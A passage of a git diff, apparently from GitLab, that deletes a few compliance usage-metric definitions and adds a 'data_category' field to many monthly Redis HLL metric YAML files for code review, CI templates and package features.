-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216183938_i_compliance_credential_inventory_monthly.yml b/config/metrics/counts_28d/20210216183938_i_compliance_credential_inventory_monthly.yml
deleted file mode 100644
index f05fedf23c9..00000000000
--- a/config/metrics/counts_28d/20210216183938_i_compliance_credential_inventory_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.compliance.i_compliance_credential_inventory_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216183942_a_compliance_audit_events_api_monthly.yml b/config/metrics/counts_28d/20210216183942_a_compliance_audit_events_api_monthly.yml
deleted file mode 100644
index ba9bcfba41e..00000000000
--- a/config/metrics/counts_28d/20210216183942_a_compliance_audit_events_api_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.compliance.a_compliance_audit_events_api_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216183946_compliance_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216183946_compliance_total_unique_counts_monthly.yml
deleted file mode 100644
index 63131ea83e2..00000000000
--- a/config/metrics/counts_28d/20210216183946_compliance_total_unique_counts_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.compliance.compliance_total_unique_counts_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216184024_g_edit_by_sse_monthly.yml b/config/metrics/counts_28d/20210216184024_g_edit_by_sse_monthly.yml
index 77ba0847a62..c526e6bb0f8 100644
--- a/config/metrics/counts_28d/20210216184024_g_edit_by_sse_monthly.yml
+++ b/config/metrics/counts_28d/20210216184024_g_edit_by_sse_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ide_edit.g_edit_by_sse_monthly
description: Number of user editing files using the Static Site Editor
product_section: dev
diff --git a/config/metrics/counts_28d/20210216184047_git_write_action_monthly.yml b/config/metrics/counts_28d/20210216184047_git_write_action_monthly.yml
index e0c301b5c03..46bca52fe2b 100644
--- a/config/metrics/counts_28d/20210216184047_git_write_action_monthly.yml
+++ b/config/metrics/counts_28d/20210216184047_git_write_action_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.source_code.git_write_action_monthly
description: Count of unique Git write actions
product_section: dev
diff --git a/config/metrics/counts_28d/20210216184140_testing_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216184140_testing_total_unique_counts_monthly.yml
index 381f691fe27..3b86a4e46fb 100644
--- a/config/metrics/counts_28d/20210216184140_testing_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216184140_testing_total_unique_counts_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.testing.testing_total_unique_counts_monthly
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216184255_i_snippets_show_monthly.yml b/config/metrics/counts_28d/20210216184255_i_snippets_show_monthly.yml
index 53590df359c..77386f794ac 100644
--- a/config/metrics/counts_28d/20210216184255_i_snippets_show_monthly.yml
+++ b/config/metrics/counts_28d/20210216184255_i_snippets_show_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.snippets.i_snippets_show_monthly
description: Monthly number of users viewing snippets
product_section: dev
diff --git a/config/metrics/counts_28d/20210216184259_p_terraform_state_api_unique_users_monthly.yml b/config/metrics/counts_28d/20210216184259_p_terraform_state_api_unique_users_monthly.yml
index 915c5e69fba..19c8fe52d3b 100644
--- a/config/metrics/counts_28d/20210216184259_p_terraform_state_api_unique_users_monthly.yml
+++ b/config/metrics/counts_28d/20210216184259_p_terraform_state_api_unique_users_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: redis_hll_counters.terraform.p_terraform_state_api_unique_users_monthly
description: Monthly active users of GitLab Managed Terraform states
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184303_o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly.yml b/config/metrics/counts_28d/20210216184303_o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly.yml
index 8e8f8b9b65b..cfc5123301f 100644
--- a/config/metrics/counts_28d/20210216184303_o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly.yml
+++ b/config/metrics/counts_28d/20210216184303_o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly
description: Monthly unique user count doing commits which contains the CI config file
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184312_i_code_review_user_toggled_task_item_status_monthly.yml b/config/metrics/counts_28d/20210216184312_i_code_review_user_toggled_task_item_status_monthly.yml
index b562a0c63d5..a1c0a694490 100644
--- a/config/metrics/counts_28d/20210216184312_i_code_review_user_toggled_task_item_status_monthly.yml
+++ b/config/metrics/counts_28d/20210216184312_i_code_review_user_toggled_task_item_status_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_toggled_task_item_status_monthly
description: Count of unique users per month who toggled a task item in a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184322_i_code_review_user_approve_mr_monthly.yml b/config/metrics/counts_28d/20210216184322_i_code_review_user_approve_mr_monthly.yml
index cb0062c55a3..e29924c5f05 100644
--- a/config/metrics/counts_28d/20210216184322_i_code_review_user_approve_mr_monthly.yml
+++ b/config/metrics/counts_28d/20210216184322_i_code_review_user_approve_mr_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_approve_mr_monthly
description: Count of unique users per month who approve a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184326_i_code_review_user_unapprove_mr_monthly.yml b/config/metrics/counts_28d/20210216184326_i_code_review_user_unapprove_mr_monthly.yml
index ce32c3ac89b..2c9046c237c 100644
--- a/config/metrics/counts_28d/20210216184326_i_code_review_user_unapprove_mr_monthly.yml
+++ b/config/metrics/counts_28d/20210216184326_i_code_review_user_unapprove_mr_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_unapprove_mr_monthly
description: Count of unique users per month who unapprove a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184330_i_code_review_user_resolve_thread_monthly.yml b/config/metrics/counts_28d/20210216184330_i_code_review_user_resolve_thread_monthly.yml
index b1c33edd117..c7a8cceb9d3 100644
--- a/config/metrics/counts_28d/20210216184330_i_code_review_user_resolve_thread_monthly.yml
+++ b/config/metrics/counts_28d/20210216184330_i_code_review_user_resolve_thread_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_resolve_thread_monthly
description: Count of unique users per month who resolve a thread in a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184334_i_code_review_user_unresolve_thread_monthly.yml b/config/metrics/counts_28d/20210216184334_i_code_review_user_unresolve_thread_monthly.yml
index 4200abff4fc..7efdd71c118 100644
--- a/config/metrics/counts_28d/20210216184334_i_code_review_user_unresolve_thread_monthly.yml
+++ b/config/metrics/counts_28d/20210216184334_i_code_review_user_unresolve_thread_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_unresolve_thread_monthly
description: Count of unique users per month who unresolve a thread in a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184338_i_code_review_edit_mr_title_monthly.yml b/config/metrics/counts_28d/20210216184338_i_code_review_edit_mr_title_monthly.yml
index 8cca5731801..37ba5d3feb6 100644
--- a/config/metrics/counts_28d/20210216184338_i_code_review_edit_mr_title_monthly.yml
+++ b/config/metrics/counts_28d/20210216184338_i_code_review_edit_mr_title_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_edit_mr_title_monthly
description: Count of unique users per month who edit the title of a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184342_i_code_review_edit_mr_desc_monthly.yml b/config/metrics/counts_28d/20210216184342_i_code_review_edit_mr_desc_monthly.yml
index 6fcc94e5337..c36f9bbe167 100644
--- a/config/metrics/counts_28d/20210216184342_i_code_review_edit_mr_desc_monthly.yml
+++ b/config/metrics/counts_28d/20210216184342_i_code_review_edit_mr_desc_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_edit_mr_desc_monthly
description: Count of unique users per month who edit the description of a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184353_i_code_review_user_create_review_note_monthly.yml b/config/metrics/counts_28d/20210216184353_i_code_review_user_create_review_note_monthly.yml
index 5a11b327699..9d31aafc1db 100644
--- a/config/metrics/counts_28d/20210216184353_i_code_review_user_create_review_note_monthly.yml
+++ b/config/metrics/counts_28d/20210216184353_i_code_review_user_create_review_note_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_create_review_note_monthly
description: Count of unique users per month who create a note as part of a merge request review
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184357_i_code_review_user_publish_review_monthly.yml b/config/metrics/counts_28d/20210216184357_i_code_review_user_publish_review_monthly.yml
index 3b8df2a615b..41e1b2a1918 100644
--- a/config/metrics/counts_28d/20210216184357_i_code_review_user_publish_review_monthly.yml
+++ b/config/metrics/counts_28d/20210216184357_i_code_review_user_publish_review_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_publish_review_monthly
description: Count of unique users per month who publish their review as part of a merge request review
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184401_i_code_review_user_create_multiline_mr_comment_monthly.yml b/config/metrics/counts_28d/20210216184401_i_code_review_user_create_multiline_mr_comment_monthly.yml
index 717476547a8..9054ab2986a 100644
--- a/config/metrics/counts_28d/20210216184401_i_code_review_user_create_multiline_mr_comment_monthly.yml
+++ b/config/metrics/counts_28d/20210216184401_i_code_review_user_create_multiline_mr_comment_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_create_multiline_mr_comment_monthly
description: Count of unique users per month who create a multiline comment in a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184405_i_code_review_user_edit_multiline_mr_comment_monthly.yml b/config/metrics/counts_28d/20210216184405_i_code_review_user_edit_multiline_mr_comment_monthly.yml
index 8d797856907..649272b492b 100644
--- a/config/metrics/counts_28d/20210216184405_i_code_review_user_edit_multiline_mr_comment_monthly.yml
+++ b/config/metrics/counts_28d/20210216184405_i_code_review_user_edit_multiline_mr_comment_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_edit_multiline_mr_comment_monthly
description: Count of unique users per week who edit a multiline comment in a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184409_i_code_review_user_remove_multiline_mr_comment_monthly.yml b/config/metrics/counts_28d/20210216184409_i_code_review_user_remove_multiline_mr_comment_monthly.yml
index 867e6333c10..fbd14f51a67 100644
--- a/config/metrics/counts_28d/20210216184409_i_code_review_user_remove_multiline_mr_comment_monthly.yml
+++ b/config/metrics/counts_28d/20210216184409_i_code_review_user_remove_multiline_mr_comment_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_remove_multiline_mr_comment_monthly
description: Count of unique users per month who remove a multiline comment in a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184418_i_code_review_user_assigned_monthly.yml b/config/metrics/counts_28d/20210216184418_i_code_review_user_assigned_monthly.yml
index 7c2545bd383..705bac961fc 100644
--- a/config/metrics/counts_28d/20210216184418_i_code_review_user_assigned_monthly.yml
+++ b/config/metrics/counts_28d/20210216184418_i_code_review_user_assigned_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_assigned_monthly
description: Count of unique users per month who are assigned to a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184422_i_code_review_user_marked_as_draft_monthly.yml b/config/metrics/counts_28d/20210216184422_i_code_review_user_marked_as_draft_monthly.yml
index dd79d196318..71f0f150fc5 100644
--- a/config/metrics/counts_28d/20210216184422_i_code_review_user_marked_as_draft_monthly.yml
+++ b/config/metrics/counts_28d/20210216184422_i_code_review_user_marked_as_draft_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_marked_as_draft_monthly
description: Count of unique users per month who mark a merge request as a draft
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184426_i_code_review_user_unmarked_as_draft_monthly.yml b/config/metrics/counts_28d/20210216184426_i_code_review_user_unmarked_as_draft_monthly.yml
index 42285f42ac4..abefec023d0 100644
--- a/config/metrics/counts_28d/20210216184426_i_code_review_user_unmarked_as_draft_monthly.yml
+++ b/config/metrics/counts_28d/20210216184426_i_code_review_user_unmarked_as_draft_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_unmarked_as_draft_monthly
description: Count of unique users per month who unmark a merge request as a draft
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184430_i_code_review_user_review_requested_monthly.yml b/config/metrics/counts_28d/20210216184430_i_code_review_user_review_requested_monthly.yml
index 664dfb2c36d..7ec7e97225e 100644
--- a/config/metrics/counts_28d/20210216184430_i_code_review_user_review_requested_monthly.yml
+++ b/config/metrics/counts_28d/20210216184430_i_code_review_user_review_requested_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_review_requested_monthly
description: Count of unique users per month who request a review of a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184434_i_code_review_user_approval_rule_added_monthly.yml b/config/metrics/counts_28d/20210216184434_i_code_review_user_approval_rule_added_monthly.yml
index 735f3f23d67..1c081c538a5 100644
--- a/config/metrics/counts_28d/20210216184434_i_code_review_user_approval_rule_added_monthly.yml
+++ b/config/metrics/counts_28d/20210216184434_i_code_review_user_approval_rule_added_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_approval_rule_added_monthly
description: Count of unique users per month who add an approval rule to a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184438_i_code_review_user_approval_rule_deleted_monthly.yml b/config/metrics/counts_28d/20210216184438_i_code_review_user_approval_rule_deleted_monthly.yml
index e32c033f22f..4fa6ed3886e 100644
--- a/config/metrics/counts_28d/20210216184438_i_code_review_user_approval_rule_deleted_monthly.yml
+++ b/config/metrics/counts_28d/20210216184438_i_code_review_user_approval_rule_deleted_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_approval_rule_deleted_monthly
description: Count of unique users per month who delete an approval rule to a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184442_i_code_review_user_approval_rule_edited_monthly.yml b/config/metrics/counts_28d/20210216184442_i_code_review_user_approval_rule_edited_monthly.yml
index ca8baf5a5a4..6f049c8f04d 100644
--- a/config/metrics/counts_28d/20210216184442_i_code_review_user_approval_rule_edited_monthly.yml
+++ b/config/metrics/counts_28d/20210216184442_i_code_review_user_approval_rule_edited_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_approval_rule_edited_monthly
description: Count of unique users per month who delete an approval rule to a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184446_i_code_review_user_vs_code_api_request_monthly.yml b/config/metrics/counts_28d/20210216184446_i_code_review_user_vs_code_api_request_monthly.yml
index d5cf11af2a5..22d442d0d84 100644
--- a/config/metrics/counts_28d/20210216184446_i_code_review_user_vs_code_api_request_monthly.yml
+++ b/config/metrics/counts_28d/20210216184446_i_code_review_user_vs_code_api_request_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_vs_code_api_request_monthly
description: Count of unique users per month who use GitLab Workflow for VS Code
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184450_i_code_review_user_create_mr_from_issue_monthly.yml b/config/metrics/counts_28d/20210216184450_i_code_review_user_create_mr_from_issue_monthly.yml
index b8ed6e7b1cd..cc733cfa149 100644
--- a/config/metrics/counts_28d/20210216184450_i_code_review_user_create_mr_from_issue_monthly.yml
+++ b/config/metrics/counts_28d/20210216184450_i_code_review_user_create_mr_from_issue_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_create_mr_from_issue_monthly
description: Count of unique users per month who create a merge request from an issue
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184454_code_review_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216184454_code_review_total_unique_counts_monthly.yml
index 8881a5a7508..8d3792288c9 100644
--- a/config/metrics/counts_28d/20210216184454_code_review_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216184454_code_review_total_unique_counts_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.code_review_total_unique_counts_monthly
description: Count of unique users per month who interact with a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184458_p_ci_templates_implicit_auto_devops_monthly.yml b/config/metrics/counts_28d/20210216184458_p_ci_templates_implicit_auto_devops_monthly.yml
index 53ecb748e05..79a064cad59 100644
--- a/config/metrics/counts_28d/20210216184458_p_ci_templates_implicit_auto_devops_monthly.yml
+++ b/config/metrics/counts_28d/20210216184458_p_ci_templates_implicit_auto_devops_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_implicit_auto_devops_monthly
description: Count of pipelines with implicit Auto DevOps runs
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184502_p_ci_templates_implicit_auto_devops_build_monthly.yml b/config/metrics/counts_28d/20210216184502_p_ci_templates_implicit_auto_devops_build_monthly.yml
index eb9df486c8c..84166d3edb7 100644
--- a/config/metrics/counts_28d/20210216184502_p_ci_templates_implicit_auto_devops_build_monthly.yml
+++ b/config/metrics/counts_28d/20210216184502_p_ci_templates_implicit_auto_devops_build_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_implicit_auto_devops_build_monthly
description: Count of pipelines with implicit Auto Build runs
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184506_p_ci_templates_implicit_auto_devops_deploy_monthly.yml b/config/metrics/counts_28d/20210216184506_p_ci_templates_implicit_auto_devops_deploy_monthly.yml
index dba5b22c3d9..170de93af35 100644
--- a/config/metrics/counts_28d/20210216184506_p_ci_templates_implicit_auto_devops_deploy_monthly.yml
+++ b/config/metrics/counts_28d/20210216184506_p_ci_templates_implicit_auto_devops_deploy_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_implicit_auto_devops_deploy_monthly
description: Count of pipelines with implicit Auto Deploy runs
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184510_p_ci_templates_implicit_security_sast_monthly.yml b/config/metrics/counts_28d/20210216184510_p_ci_templates_implicit_security_sast_monthly.yml
index 5bb03d5c1c9..37cb1d072a0 100644
--- a/config/metrics/counts_28d/20210216184510_p_ci_templates_implicit_security_sast_monthly.yml
+++ b/config/metrics/counts_28d/20210216184510_p_ci_templates_implicit_security_sast_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_implicit_security_sast_monthly
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216184513_p_ci_templates_implicit_security_secret_detection_monthly.yml b/config/metrics/counts_28d/20210216184513_p_ci_templates_implicit_security_secret_detection_monthly.yml
index d519411c9f8..2b45b340aec 100644
--- a/config/metrics/counts_28d/20210216184513_p_ci_templates_implicit_security_secret_detection_monthly.yml
+++ b/config/metrics/counts_28d/20210216184513_p_ci_templates_implicit_security_secret_detection_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_implicit_security_secret_detection_monthly
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216184517_p_ci_templates_5_min_production_app_monthly.yml b/config/metrics/counts_28d/20210216184517_p_ci_templates_5_min_production_app_monthly.yml
index 5e1b1c837b0..3ad6b97db37 100644
--- a/config/metrics/counts_28d/20210216184517_p_ci_templates_5_min_production_app_monthly.yml
+++ b/config/metrics/counts_28d/20210216184517_p_ci_templates_5_min_production_app_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_5_min_production_app_monthly
description: Number of projects using 5 min production app CI template in last 7 days.
product_section: seg
diff --git a/config/metrics/counts_28d/20210216184523_p_ci_templates_auto_devops_monthly.yml b/config/metrics/counts_28d/20210216184523_p_ci_templates_auto_devops_monthly.yml
index 982c62a62f6..ee2182d8c83 100644
--- a/config/metrics/counts_28d/20210216184523_p_ci_templates_auto_devops_monthly.yml
+++ b/config/metrics/counts_28d/20210216184523_p_ci_templates_auto_devops_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_auto_devops_monthly
description: Count of pipelines using the Auto DevOps template
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184526_p_ci_templates_aws_cf_deploy_ec2_monthly.yml b/config/metrics/counts_28d/20210216184526_p_ci_templates_aws_cf_deploy_ec2_monthly.yml
index 3e00fd8c784..471923e85c3 100644
--- a/config/metrics/counts_28d/20210216184526_p_ci_templates_aws_cf_deploy_ec2_monthly.yml
+++ b/config/metrics/counts_28d/20210216184526_p_ci_templates_aws_cf_deploy_ec2_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_aws_cf_deploy_ec2_monthly
description: "Count of projects using `AWS/CF-Provision-and-Deploy-EC2.gitlab-ci.yml` template in last 28 days."
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184530_p_ci_templates_aws_deploy_ecs_monthly.yml b/config/metrics/counts_28d/20210216184530_p_ci_templates_aws_deploy_ecs_monthly.yml
index ef6b254a6b4..54b5514d8a1 100644
--- a/config/metrics/counts_28d/20210216184530_p_ci_templates_aws_deploy_ecs_monthly.yml
+++ b/config/metrics/counts_28d/20210216184530_p_ci_templates_aws_deploy_ecs_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_aws_deploy_ecs_monthly
description: "Count of projects using `AWS/Deploy-ECS.gitlab-ci.yml` template in last 28 days."
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184534_p_ci_templates_auto_devops_build_monthly.yml b/config/metrics/counts_28d/20210216184534_p_ci_templates_auto_devops_build_monthly.yml
index 3b272166ed8..01e0fbe81b2 100644
--- a/config/metrics/counts_28d/20210216184534_p_ci_templates_auto_devops_build_monthly.yml
+++ b/config/metrics/counts_28d/20210216184534_p_ci_templates_auto_devops_build_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_auto_devops_build_monthly
description: Count of pipelines using the Auto Build template
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184538_p_ci_templates_auto_devops_deploy_monthly.yml b/config/metrics/counts_28d/20210216184538_p_ci_templates_auto_devops_deploy_monthly.yml
index 2c66fbbd95f..c6f9087c9bc 100644
--- a/config/metrics/counts_28d/20210216184538_p_ci_templates_auto_devops_deploy_monthly.yml
+++ b/config/metrics/counts_28d/20210216184538_p_ci_templates_auto_devops_deploy_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_auto_devops_deploy_monthly
description: Count of pipelines using the stable Auto Deploy template
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184542_p_ci_templates_auto_devops_deploy_latest_monthly.yml b/config/metrics/counts_28d/20210216184542_p_ci_templates_auto_devops_deploy_latest_monthly.yml
index d7ba2da5d9f..2fd81cd64af 100644
--- a/config/metrics/counts_28d/20210216184542_p_ci_templates_auto_devops_deploy_latest_monthly.yml
+++ b/config/metrics/counts_28d/20210216184542_p_ci_templates_auto_devops_deploy_latest_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_auto_devops_deploy_latest_monthly
description: Count of pipelines using the latest Auto Deploy template
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184546_p_ci_templates_security_sast_monthly.yml b/config/metrics/counts_28d/20210216184546_p_ci_templates_security_sast_monthly.yml
index e8907f63243..2938236ef56 100644
--- a/config/metrics/counts_28d/20210216184546_p_ci_templates_security_sast_monthly.yml
+++ b/config/metrics/counts_28d/20210216184546_p_ci_templates_security_sast_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_security_sast_monthly
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216184551_p_ci_templates_security_secret_detection_monthly.yml b/config/metrics/counts_28d/20210216184551_p_ci_templates_security_secret_detection_monthly.yml
index b97c4005529..15e28870d11 100644
--- a/config/metrics/counts_28d/20210216184551_p_ci_templates_security_secret_detection_monthly.yml
+++ b/config/metrics/counts_28d/20210216184551_p_ci_templates_security_secret_detection_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_security_secret_detection_monthly
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216184555_p_ci_templates_terraform_base_latest_monthly.yml b/config/metrics/counts_28d/20210216184555_p_ci_templates_terraform_base_latest_monthly.yml
index 866ec122f28..3bfa045b833 100644
--- a/config/metrics/counts_28d/20210216184555_p_ci_templates_terraform_base_latest_monthly.yml
+++ b/config/metrics/counts_28d/20210216184555_p_ci_templates_terraform_base_latest_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.p_ci_templates_terraform_base_latest_monthly
description: Count of pipelines that include the terraform base template from GitLab
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml
index 1dcc98ad975..e3f418abaa2 100644
--- a/config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ci_templates.ci_templates_total_unique_counts_monthly
description: Total count of pipelines runs
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184803_quickactions_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216184803_quickactions_total_unique_counts_monthly.yml
index a052c79584e..82c1717e3cf 100644
--- a/config/metrics/counts_28d/20210216184803_quickactions_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216184803_quickactions_total_unique_counts_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.quickactions_total_unique_counts_monthly
description: Count of MAU using one or more quick actions
product_section: dev
diff --git a/config/metrics/counts_28d/20210216184806_i_package_composer_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184806_i_package_composer_deploy_token_monthly.yml
index 7f2f93f909b..52256b10097 100644
--- a/config/metrics/counts_28d/20210216184806_i_package_composer_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184806_i_package_composer_deploy_token_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_composer_deploy_token_monthly
description: A monthly count of Composer packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184810_i_package_conan_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184810_i_package_conan_deploy_token_monthly.yml
index 6a2bd47f725..adc89858093 100644
--- a/config/metrics/counts_28d/20210216184810_i_package_conan_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184810_i_package_conan_deploy_token_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_conan_deploy_token_monthly
description: A monthly count of Conan packages published to the registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_28d/20210216184814_i_package_container_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184814_i_package_container_deploy_token_monthly.yml
index 4bb6038634f..3b6951db697 100644
--- a/config/metrics/counts_28d/20210216184814_i_package_container_deploy_token_monthly.yml
